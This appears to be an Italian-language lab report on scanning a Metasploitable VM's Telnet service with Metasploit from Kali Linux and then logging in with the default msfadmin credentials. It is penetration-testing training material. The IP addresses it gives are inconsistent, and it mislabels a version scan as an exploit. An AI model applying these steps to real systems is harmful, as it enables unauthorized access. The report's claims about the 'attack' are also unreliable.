

## Sfruttamento della Vulnerabilità Telnet con Metasploit

### Introduzione

Questo report illustra i passaggi per sfruttare una vulnerabilità del servizio Telnet utilizzando Metasploit. L'obiettivo è dimostrare come un attacco può essere condotto su una macchina vulnerabile, sfruttando le debolezze del servizio Telnet.

### Preparazione dell'Ambiente

Prima di iniziare l'attacco, è necessario configurare correttamente l'ambiente. Questo include la configurazione della scheda di rete di entrambe le macchine e l'impostazione degli indirizzi IP:

- **Kali Linux:** macchina attaccante. IP 192.168.6.15

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.6.15 netmask 255.255.255.0 broadcast 192.168.6.255
    inet6 fe80::b3b0:a278:94ee:3bd prefixlen 64 scopeid 0<link>
    ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
    RX packets 150 bytes 17477 (17.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 92 bytes 7572 (7.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 14 bytes 1152 (1.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 14 bytes 1152 (1.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
$
```

- **Metasploitable:** Macchina bersaglio con servizio Telnet vulnerabile. IP 192.168.6.3.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0: Link encap:Ethernet HWaddr 08:00:27:96:59:dc
    inet addr:192.168.6.3 Bcast:192.168.6.255 Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:fe96:59dc/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:0 (0.0 B) TX bytes:4088 (3.9 KB)
    Base address:0xd020 Memory:f0200000-f0220000

lo: Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:106 errors:0 dropped:0 overruns:0 frame:0
    TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:20765 (20.2 KB) TX bytes:20765 (20.2 KB)

msfadmin@metasploitable:~$
```

- Le configurazioni di rete per le due macchine sono state impostate entrambe su **rete interna**.

### Avvio di Metasploit

1. **Lancio di Metasploit:** Si avvia l'interfaccia di Metasploit su Kali Linux con il comando:

- **Msfconsole**

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb

IIIIII dTb.dTb
II      4' v 'B
II      6. .P
II     'T; .;P'
II     'T; ;P'
IIIIII 'YvP'

I love shells --egypt

+ -- ==[ metasploit v6.4.5-dev ]
+ -- ==[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- ==[ 1468 payloads - 47 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

2. **Caricamento del Modulo di Scansione:** Si utilizza il modulo ausiliario di scansione per identificare la versione del servizio Telnet sulla macchina bersaglio:

- use **auxiliary/scanner/telnet/telnet\_version**

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

3. **Configurazione dei Parametri:** Si impostano i parametri necessari per l'attacco:

- set **RHOSTS** 192.168.1.149
- set **RPORT** 23

La porta **23** è quella predefinita per il servizio Telnet.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    yes              yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes        The target port (TCP)
  THREADS   1                yes        The number of concurrent threads (max one per host)
  TIMEOUT   30               yes        Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.6.3
rhosts => 192.168.6.3
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    192.168.6.3      yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes        The target port (TCP)
  THREADS   1                yes        The number of concurrent threads (max one per host)
  TIMEOUT   30               yes        Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as
```

## Esecuzione dell'Attacco

1. **Lancio dell'Exploit:** configurato l'exploit con i parametri necessari e si lancia l'attacco:

- **Exploit**

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.6.3:23 - 192.168.6.3:23 TELNET
[*] 192.168.6.3:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```


## Connessione alla Macchina Bersaglio

Utilizzando le credenziali ottenute, ci si connette al servizio Telnet sulla macchina Metasploitable:

- telnet 192.168.1.149

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.6.3
[*] exec: telnet 192.168.6.3

Trying 192.168.6.3 ...
Connected to 192.168.6.3.
Escape character is '^['.
```



```
Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started
```

```
metasploitable login: msfadmin
Password:
Last login: Wed Jun  5 10:47:07 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/\*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.

To access official Ubuntu documentation, please visit:  
<http://help.ubuntu.com/>  
No mail.  
msfadmin@metasploitable:~\$ █

Una volta connessi, si possono eseguire comandi sulla macchina bersaglio per ottenere informazioni o eseguire ulteriori operazioni. Ad esempio:

- **whoami**

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
```

- **ifconfig**

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0  Link encap:Ethernet  HWaddr 08:00:27:96:59:dc
      inet addr:192.168.6.3  Bcast:192.168.6.255  Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fe96:59dc/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:0 errors:0 dropped:0 overruns:0 frame:0
      TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:0 (0.0 B)  TX bytes:4088 (3.9 KB)
      Base address:0xd020  Memory:f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1:128 Scope:Host
      UP LOOPBACK RUNNING  MTU:16436  Metric:1
      RX packets:106 errors:0 dropped:0 overruns:0 frame:0
      TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:20765 (20.2 KB)  TX bytes:20765 (20.2 KB)

msfadmin@metasploitable:~$
```